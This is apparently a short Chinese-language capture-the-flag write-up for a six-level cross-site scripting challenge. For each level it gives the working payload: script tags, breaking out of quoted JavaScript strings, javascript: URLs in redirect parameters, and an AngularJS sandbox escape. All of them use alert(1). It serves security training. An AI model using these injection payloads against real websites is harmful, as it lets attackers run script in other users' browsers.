leve 1
第一关没有任何过滤
直接上绝活:
?username=<script>alert(1)</script>
level2
f12看一下源码:
这里发现使用escape()所以这里没有办法注入,但是
username=?
这里是可以注入的,这里发现变量是单引号闭合的,所以构造
?username=';alert(1);//
这样就成功注入了
level3
这里我们模仿上一关的思路
构造之后发现单引号被转义了
没关系,一个单引号被过滤没关系
我们可以用多个来绕过
?username='';alert(1);//
level4
f12查看源代码
通过源代码发现这里需要通过重定向实现弹窗,正好javascript有伪协议
?jumpUrl=javascript:alert(1)
level5
阅读源代码
这里需要传两个参数
一个是autosubmit,一个是action
最后重定向action的值
?autosubmit=1&action=javascript:alert(1)
level6
查看源代码发现没有注入点
再看来源
发现有angular的cdn引用
因为angular有沙箱逃逸注入xss
具体参考:
xss without html
{{
'a'.constructor.prototype.charAt=[].join;
eval('x=1} } };alert(1)//');
}}
最后成功拿到flag